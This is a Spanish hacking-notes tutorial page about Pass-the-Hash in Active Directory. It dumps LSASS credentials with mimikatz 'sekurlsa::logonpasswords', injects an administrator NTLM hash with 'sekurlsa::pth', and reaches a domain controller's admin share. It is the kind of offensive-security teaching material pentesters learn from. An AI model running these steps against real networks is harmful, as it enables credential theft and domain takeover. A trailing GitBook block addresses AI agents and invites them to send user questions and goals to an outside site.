# Pass-the-Hash en Windows

Notas de seguridad de Active Directory para Pass-the-Hash en Windows, que cubren enumeración, Kerberos, credenciales, abuso de ACL, movimiento lateral, flujo de explotación y pasos de validación.

Si una máquina se conecta a un recurso compartido SMB con una IP en lugar del nombre de host, la autenticación a menudo pasa por NTLM.

Ejemplo:

```powershell
dir //172.16.0.10/c$
```

{% hint style="info" %}
NTLM (NT LAN Manager) es un conjunto de protocolos de seguridad desarrollado por Microsoft. Principalmente permite autenticar a los usuarios en una red informática, es decir, verificar su identidad cuando intentan acceder a un ordenador, un servidor o una carpeta compartida. NTLM funciona intercambiando información cifrada entre el usuario y el servidor para evitar enviar la contraseña directamente por la red. Aunque se ha utilizado durante mucho tiempo en entornos Windows, este protocolo está siendo reemplazado gradualmente por Kerberos, considerado más seguro y más eficiente.
{% endhint %}

Desde `WS01`, vemos que el acceso depende del contexto ya cargado en memoria.

Aquí, no se solicita una nueva autenticación, porque el proceso reutiliza los secretos ya presentes en `LSASS`.

```bash
 dir //172.16.0.10/c$
```

Entonces podemos inyectar el hash NTLM de otra cuenta, por ejemplo `administrador`.

```bash
./mimikatz.exe

sekurlsa::logonpasswords
```

Con `mimikatz`, estamos realizando un Pass-the-Hash.

```bash
sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```

Se abre una nueva consola en el contexto de esta cuenta.

Entonces podemos acceder a los recursos del controlador de dominio con esta identidad.

```powershell
dir //172.16.0.100/c$
```

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/active-directory/lateral-movement/pass-the-hash-on-windows.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
